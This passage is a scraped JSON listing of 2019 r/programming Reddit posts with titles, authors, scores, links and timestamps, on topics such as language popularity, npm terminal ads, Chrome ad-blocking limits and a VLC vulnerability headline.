  "title": "Python overtakes Java to become second-most popular language on GitHub after JavaScript",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 3067,
  "upvoteRatio": 0.96,
  "numComments": 772,
  "createdAt": "2019-11-11T22:49:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.co.uk/2019/11/07/python_java_github_javascript/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dtuv4v",
  "url": "https://onezero.medium.com/apple-is-trying-to-kill-web-technology-a274237c174d",
  "permalink": "https://www.reddit.com/r/programming/comments/dtuv4v/apple_is_trying_to_kill_web_technology/",
  "title": "Apple Is Trying to Kill Web Technology",
  "body": null,
  "author": "bit-man",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 115,
  "createdAt": "2019-11-09T11:35:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://onezero.medium.com/apple-is-trying-to-kill-web-technology-a274237c174d",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dl2puv",
  "url": "https://www.urbandictionary.com/define.php?term=webpack",
  "permalink": "https://www.reddit.com/r/programming/comments/dl2puv/how_urban_dictionary_defines_webpack/",
  "title": "How Urban Dictionary Defines 'Webpack'",
  "body": null,
  "author": "amarknadal",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 43,
  "createdAt": "2019-10-21T16:08:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.urbandictionary.com/define.php?term=webpack",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dg9qgr",
  "url": "https://www.youtube.com/watch?v=r3MAkVZkD0s",
  "permalink": "https://www.reddit.com/r/programming/comments/dg9qgr/worked_in_the_software_industry_long_enough_to/",
  "title": "Worked in the software industry long enough to know that coding interviews don't measure a candidate's ability to succeed on the role - it's a shame that many companies still use it as a measuring standard. To bridge this gap, I started a YT series going over popular coding interview questions.",
  "body": null,
  "author": "TeluguGameboy",
  "subreddit": "programming",
  "score": 3930,
  "upvoteRatio": 0.92,
  "numComments": 779,
  "createdAt": "2019-10-11T04:06:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=r3MAkVZkD0s",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_dewypc",
  "url": "https://thehftguy.com/2019/10/07/perl-is-dying-quick-could-be-extinct-by-2023/",
  "permalink": "https://www.reddit.com/r/programming/comments/dewypc/perl_is_dying_quick_could_be_extinct_by_2023/",
  "title": "Perl is dying quick. Could be extinct by 2023.",
  "body": null,
  "author": "bogdanelcs",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.53,
  "numComments": 213,
  "createdAt": "2019-10-08T08:07:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://thehftguy.com/2019/10/07/perl-is-dying-quick-could-be-extinct-by-2023/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_d85z8l",
  "url": "http://einaregilsson.com/serverless-15-percent-slower-and-eight-times-more-expensive/",
  "permalink": "https://www.reddit.com/r/programming/comments/d85z8l/serverless_15_slower_and_8x_more_expensive/",
  "title": "Serverless: 15% slower and 8x more expensive",
  "body": null,
  "author": "pimterry",
  "subreddit": "programming",
  "score": 2966,
  "upvoteRatio": 0.94,
  "numComments": 392,
  "createdAt": "2019-09-23T12:40:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://einaregilsson.com/serverless-15-percent-slower-and-eight-times-more-expensive/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_d3p7pf",
  "url": "https://v.redd.it/xcr5dy95ncm31",
  "permalink": "https://www.reddit.com/r/programming/comments/d3p7pf/web_browser_market_share_19962019/",
  "title": "Web Browser Market Share (1996-2019)",
  "body": null,
  "author": "TheGeeZus86",
  "subreddit": "programming",
  "score": 3822,
  "upvoteRatio": 0.95,
  "numComments": 474,
  "createdAt": "2019-09-13T13:24:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://v.redd.it/xcr5dy95ncm31",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_d2qrx6",
  "url": "https://v.redd.it/ugbxngs91zl31",
  "permalink": "https://www.reddit.com/r/programming/comments/d2qrx6/this_video_shows_the_most_popular_programming/",
  "title": "This video shows the most popular programming languages on Stack Overflow since September 2008",
  "body": null,
  "author": "qaops",
  "subreddit": "programming",
  "score": 6039,
  "upvoteRatio": 0.95,
  "numComments": 554,
  "createdAt": "2019-09-11T14:10:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "video",
    "url": "https://v.redd.it/ugbxngs91zl31/DASH_1080?source=fallback",
    "thumbnail": null,
    "isVideo": true,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cz6f5r",
  "url": "https://medium.com/@alexgolec/google-interview-problems-ratio-finder-d7aa8bf201e3",
  "permalink": "https://www.reddit.com/r/programming/comments/cz6f5r/former_google_engineer_breaks_down_interview/",
  "title": "Former Google engineer breaks down interview problems he uses to screen candidates. Lots of good coding, algorithms, and interview tips.",
  "body": null,
  "author": "jfasi",
  "subreddit": "programming",
  "score": 7181,
  "upvoteRatio": 0.96,
  "numComments": 779,
  "createdAt": "2019-09-03T15:32:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@alexgolec/google-interview-problems-ratio-finder-d7aa8bf201e3",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cxg99h",
  "url": "https://www.zdnet.com/article/npm-bans-terminal-ads/",
  "permalink": "https://www.reddit.com/r/programming/comments/cxg99h/npm_bans_terminal_ads/",
  "title": "npm bans terminal ads",
  "body": null,
  "author": "Davipb",
  "subreddit": "programming",
  "score": 4414,
  "upvoteRatio": 0.97,
  "numComments": 591,
  "createdAt": "2019-08-30T12:30:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/npm-bans-terminal-ads/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cw7m2s",
  "url": "https://paveldogreat.github.io/WebGL-Fluid-Simulation/",
  "permalink": "https://www.reddit.com/r/programming/comments/cw7m2s/amazing_opengl_fluid/",
  "title": "amazing OpenGL fluid",
  "body": null,
  "author": "arshiamidos",
  "subreddit": "programming",
  "score": 4379,
  "upvoteRatio": 0.98,
  "numComments": 229,
  "createdAt": "2019-08-27T17:27:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://paveldogreat.github.io/WebGL-Fluid-Simulation/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cvp0xu",
  "url": "https://www.youtube.com/watch?v=2pIJoPkh9IU",
  "permalink": "https://www.reddit.com/r/programming/comments/cvp0xu/i_got_fired_from_facebook_for_having_a_youtube/",
  "title": "I got fired from Facebook (for having a YouTube channel).",
  "body": null,
  "author": "tonefart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 100,
  "createdAt": "2019-08-26T14:46:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=2pIJoPkh9IU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cus0zu",
  "url": "https://github.com/standard/standard/issues/1381",
  "permalink": "https://www.reddit.com/r/programming/comments/cus0zu/a_3mil_downloads_per_month_javascript_library/",
  "title": "A 3mil downloads per month JavaScript library, which is already known for misleading newbies, is now adding paid advertisements to users' terminals",
  "body": null,
  "author": "Magnaboy",
  "subreddit": "programming",
  "score": 6722,
  "upvoteRatio": 0.97,
  "numComments": 923,
  "createdAt": "2019-08-24T10:59:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/standard/standard/issues/1381",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cs2x8x",
  "url": "https://heise.de/-4496138",
  "permalink": "https://www.reddit.com/r/programming/comments/cs2x8x/kaspersky_av_injected_unique_id_allowing_sites_to/",
  "title": "Kaspersky AV injected unique ID allowing sites to track users in incognito mode",
  "body": null,
  "author": "iamkeyur",
  "subreddit": "programming",
  "score": 2964,
  "upvoteRatio": 0.98,
  "numComments": 281,
  "createdAt": "2019-08-18T15:55:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://heise.de/-4496138",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_crunfh",
  "url": "https://www.theregister.co.uk/2019/08/16/dropbox_gives_up_on_sharing_c_code_between_ios_and_android/",
  "permalink": "https://www.reddit.com/r/programming/comments/crunfh/dropbox_would_rather_write_code_twice_than_try_to/",
  "title": "Dropbox would rather write code twice than try to make C++ work on both iOS and Android",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 3272,
  "upvoteRatio": 0.96,
  "numComments": 652,
  "createdAt": "2019-08-18T00:58:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.co.uk/2019/08/16/dropbox_gives_up_on_sharing_c_code_between_ios_and_android/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cqhn2b",
  "url": "https://www.freecodecamp.org/news/put-your-dev-env-in-github/",
  "permalink": "https://www.reddit.com/r/programming/comments/cqhn2b/please_everyone_put_your_entire_development/",
  "title": "Please, everyone, put your entire development environment in Github",
  "body": null,
  "author": "CantaloupeCamper",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 34,
  "createdAt": "2019-08-14T23:19:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.freecodecamp.org/news/put-your-dev-env-in-github/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cq4nle",
  "url": "https://www.wired.com/story/null-license-plate-landed-one-hacker-ticket-hell/",
  "permalink": "https://www.reddit.com/r/programming/comments/cq4nle/how_a_null_license_plate_landed_one_hacker_in/",
  "title": "How a 'NULL' License Plate Landed One Hacker in Ticket Hell",
  "body": null,
  "author": "clairegiordano",
  "subreddit": "programming",
  "score": 3749,
  "upvoteRatio": 0.96,
  "numComments": 652,
  "createdAt": "2019-08-14T04:24:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wired.com/story/null-license-plate-landed-one-hacker-ticket-hell/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cnb74l",
  "url": "https://www.phoronix.com/scan.php?page=news_item&px=NVIDIA-Open-GPU-Docs",
  "permalink": "https://www.reddit.com/r/programming/comments/cnb74l/nvidia_starts_publishing_gpu_hardware/",
  "title": "NVIDIA Starts Publishing GPU Hardware Documentation To Help Open-Source Drivers",
  "body": null,
  "author": "pdp10",
  "subreddit": "programming",
  "score": 2928,
  "upvoteRatio": 0.98,
  "numComments": 222,
  "createdAt": "2019-08-07T20:30:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/scan.php?page=news_item&px=NVIDIA-Open-GPU-Docs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cjnoqi",
  "url": "https://medium.com/@nimelrian/no-way-to-prevent-this-says-only-development-community-where-this-regularly-happens-8ef59e6836de",
  "permalink": "https://www.reddit.com/r/programming/comments/cjnoqi/no_way_to_prevent_this_says_only_development/",
  "title": "‘No way to prevent this’, Says Only Development Community Where This Regularly Happens",
  "body": null,
  "author": "Nimelrian",
  "subreddit": "programming",
  "score": 4584,
  "upvoteRatio": 0.92,
  "numComments": 770,
  "createdAt": "2019-07-30T06:18:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@nimelrian/no-way-to-prevent-this-says-only-development-community-where-this-regularly-happens-8ef59e6836de",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ci7cqx",
  "url": "https://medium.com/@hamed/github-blocked-my-account-and-they-think-im-developing-nuclear-weapons-e7e1fe62cb74",
  "permalink": "https://www.reddit.com/r/programming/comments/ci7cqx/github_blocked_my_account_and_they_think_im/",
  "title": "GitHub blocked my account and they think I’m developing nuclear weapons",
  "body": null,
  "author": "poeti8",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 75,
  "createdAt": "2019-07-26T19:33:09.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@hamed/github-blocked-my-account-and-they-think-im-developing-nuclear-weapons-e7e1fe62cb74",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ch553p",
  "url": "https://threatpost.com/vlc-media-player-plagued-by-unpatched-critical-rce-flaw/146611/",
  "permalink": "https://www.reddit.com/r/programming/comments/ch553p/vlc_has_an_rce_vulnerability/",
  "title": "VLC has an RCE vulnerability",
  "body": null,
  "author": "dark_mode_everything",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 23,
  "createdAt": "2019-07-24T07:44:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://threatpost.com/vlc-media-player-plagued-by-unpatched-critical-rce-flaw/146611/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ceh1gn",
  "url": "https://github.com/chrislgarry/Apollo-11",
  "permalink": "https://www.reddit.com/r/programming/comments/ceh1gn/the_entire_apollo_11_computer_code_that_helped/",
  "title": "The entire Apollo 11 computer code that helped get us to the Moon is available on github.",
  "body": null,
  "author": "ankur-anand",
  "subreddit": "programming",
  "score": 6142,
  "upvoteRatio": 0.97,
  "numComments": 380,
  "createdAt": "2019-07-17T18:50:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/chrislgarry/Apollo-11",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cdzowt",
  "url": "https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/",
  "permalink": "https://www.reddit.com/r/programming/comments/cdzowt/cracking_my_windshield_and_earning_10000_on_the/",
  "title": "Cracking my windshield and earning $10,000 on the Tesla Bug Bounty Program",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3048,
  "upvoteRatio": 0.97,
  "numComments": 252,
  "createdAt": "2019-07-16T16:54:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://samcurry.net/cracking-my-windshield-and-earning-10000-on-the-tesla-bug-bounty-program/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_cdgrxe",
  "url": "https://www.bbc.com/news/business-48962557",
  "permalink": "https://www.reddit.com/r/programming/comments/cdgrxe/alan_turing_world_war_two_codebreaker_and/",
  "title": "Alan Turing, World War Two codebreaker and mathematician, will be the face of new Bank of England £50 note",
  "body": null,
  "author": "JonathanTheZero",
  "subreddit": "programming",
  "score": 6669,
  "upvoteRatio": 0.96,
  "numComments": 335,
  "createdAt": "2019-07-15T12:21:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bbc.com/news/business-48962557",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ccrq47",
  "url": "https://youtu.be/uqY3FMuMuRo",
  "permalink": "https://www.reddit.com/r/programming/comments/ccrq47/worlds_worst_video_card_the_exciting_conclusion/",
  "title": "World's worst video card? The exciting conclusion. - YouTube",
  "body": null,
  "author": "slowratatoskr",
  "subreddit": "programming",
  "score": 3103,
  "upvoteRatio": 0.97,
  "numComments": 170,
  "createdAt": "2019-07-13T17:11:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/uqY3FMuMuRo",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_ca7f2m",
  "url": "https://rbcs-us.com/documents/Why-Most-Unit-Testing-is-Waste.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/ca7f2m/why_most_unit_testing_is_waste/",
  "title": "Why Most Unit Testing is Waste",
  "body": null,
  "author": "domysee",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.53,
  "numComments": 133,
  "createdAt": "2019-07-07T14:30:54.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rbcs-us.com/documents/Why-Most-Unit-Testing-is-Waste.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_c9vkfv",
  "url": "https://www.theregister.co.uk/2019/07/06/mozilla_ukisp_vallain/",
  "permalink": "https://www.reddit.com/r/programming/comments/c9vkfv/uk_isp_association_brands_mozilla_a_villain_for/",
  "title": "UK ISP association brands Mozilla a villain for implementing secure DNS",
  "body": null,
  "author": "Eosis",
  "subreddit": "programming",
  "score": 3708,
  "upvoteRatio": 0.97,
  "numComments": 473,
  "createdAt": "2019-07-06T16:36:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.co.uk/2019/07/06/mozilla_ukisp_vallain/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_c9iipq",
  "url": "https://www.youtube.com/watch?v=l7rce6IQDWs",
  "permalink": "https://www.reddit.com/r/programming/comments/c9iipq/the_worlds_worst_video_card/",
  "title": "The world's worst video card?",
  "body": null,
  "author": "julian88888888",
  "subreddit": "programming",
  "score": 3121,
  "upvoteRatio": 0.97,
  "numComments": 189,
  "createdAt": "2019-07-05T17:14:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=l7rce6IQDWs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_c7nu7u",
  "url": "https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/",
  "permalink": "https://www.reddit.com/r/programming/comments/c7nu7u/microsoft_developer_reveals_linux_is_now_more/",
  "title": "Microsoft developer reveals Linux is now more used on Azure than Windows Server",
  "body": null,
  "author": "userndj",
  "subreddit": "programming",
  "score": 3576,
  "upvoteRatio": 0.96,
  "numComments": 609,
  "createdAt": "2019-07-01T04:01:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.zdnet.com/article/microsoft-developer-reveals-linux-is-now-more-used-on-azure-than-windows-server/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_c3h9gw",
  "url": "https://www.vice.com/en_us/article/xwnkj3/prisons-are-banning-books-that-teach-prisoners-how-to-code",
  "permalink": "https://www.reddit.com/r/programming/comments/c3h9gw/prisons_are_banning_books_that_teach_prisoners/",
  "title": "Prisons Are Banning Books That Teach Prisoners How to Code",
  "body": null,
  "author": "ga-vu",
  "subreddit": "programming",
  "score": 3343,
  "upvoteRatio": 0.96,
  "numComments": 436,
  "createdAt": "2019-06-21T22:11:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.vice.com/en_us/article/xwnkj3/prisons-are-banning-books-that-teach-prisoners-how-to-code",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_c0zwxb",
  "url": "https://twitter.com/caspervonb/status/1139947676546453504",
  "permalink": "https://www.reddit.com/r/programming/comments/c0zwxb/one_liner_npm_package_iswindows_has_25_million/",
  "title": "One liner npm package \"is-windows\" has 2.5 million dependants, why on earth?!",
  "body": null,
  "author": "caspervonb",
  "subreddit": "programming",
  "score": 3334,
  "upvoteRatio": 0.95,
  "numComments": 792,
  "createdAt": "2019-06-15T17:39:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://twitter.com/caspervonb/status/1139947676546453504",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_byvfyz",
  "url": "https://elfsternberg.com/2018/01/11/google-fischer-prices-programming-language/",
  "permalink": "https://www.reddit.com/r/programming/comments/byvfyz/go_fischer_prices_my_first_programming_language/",
  "title": "Go: Fischer Price’s My First Programming Language",
  "body": null,
  "author": "halax",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.53,
  "numComments": 170,
  "createdAt": "2019-06-10T08:46:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://elfsternberg.com/2018/01/11/google-fischer-prices-programming-language/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_byuoel",
  "url": "https://www.youtube.com/watch?v=Aa55RKWZxxI",
  "permalink": "https://www.reddit.com/r/programming/comments/byuoel/linus_torvalds_thinks_java_is_a_horrible_language/",
  "title": "Linus Torvalds thinks Java is a horrible language",
  "body": null,
  "author": "marcm28",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.51,
  "numComments": 201,
  "createdAt": "2019-06-10T07:00:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=Aa55RKWZxxI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bwjny2",
  "url": "https://support.apple.com/en-us/HT208050",
  "permalink": "https://www.reddit.com/r/programming/comments/bwjny2/zsh_is_now_the_default_shell_for_macos/",
  "title": "zsh is now the default shell for MacOS.",
  "body": null,
  "author": "dotdotconnor",
  "subreddit": "programming",
  "score": 3101,
  "upvoteRatio": 0.96,
  "numComments": 564,
  "createdAt": "2019-06-04T02:50:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://support.apple.com/en-us/HT208050",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_busw2u",
  "url": "https://github.com/uBlockOrigin/uBlock-issues/issues/338#issuecomment-496009417",
  "permalink": "https://www.reddit.com/r/programming/comments/busw2u/the_author_of_ublock_on_google_chromes_proposal/",
  "title": "The author of uBlock on Google Chrome's proposal to cripple ad blockers",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 3197,
  "upvoteRatio": 0.97,
  "numComments": 761,
  "createdAt": "2019-05-30T13:02:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/uBlockOrigin/uBlock-issues/issues/338#issuecomment-496009417",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_bumy8i",
  "url": "https://9to5google.com/2019/05/29/chrome-ad-blocking-enterprise-manifest-v3/",
  "permalink": "https://www.reddit.com/r/programming/comments/bumy8i/chrome_to_limit_full_ad_blocking_extensions_to/",
  "title": "Chrome to limit full ad blocking extensions to enterprise users",
  "body": null,
  "author": "zial",
  "subreddit": "programming",
  "score": 5704,
  "upvoteRatio": 0.97,
  "numComments": 1248,
  "createdAt": "2019-05-30T01:07:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://9to5google.com/2019/05/29/chrome-ad-blocking-enterprise-manifest-v3/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_btpef0",
  "url": "https://medium.com/@mishraneel99/multi-threading-in-python-part-1-c7ae39347dd0",
  "permalink": "https://www.reddit.com/r/programming/comments/btpef0/after_searching_for_days_on_internet_and_not/",
  "title": "After searching for days on internet, and not being able to find a good quality, easy, and detailed tutorial on threading, I've decided to make my own tutorial series. Hopefully it will be helpfully to a newbie like me, and will help them save time. Here is the part-1 of the series.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.55,
  "numComments": 54,
  "createdAt": "2019-05-27T18:23:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@mishraneel99/multi-threading-in-python-part-1-c7ae39347dd0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_btnbzz",
  "url": "https://youtu.be/92WHN-pAFCs",
  "permalink": "https://www.reddit.com/r/programming/comments/btnbzz/this_is_the_greatest_explanation_of_the_halting/",
  "title": "This is the greatest explanation of the Halting Problem I have ever seen, but people keep downvoting it because they don't understand and think it's wrong.",
  "body": null,
  "author": "AlSweigart",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.48,
  "numComments": 41,
  "createdAt": "2019-05-27T15:31:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/92WHN-pAFCs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
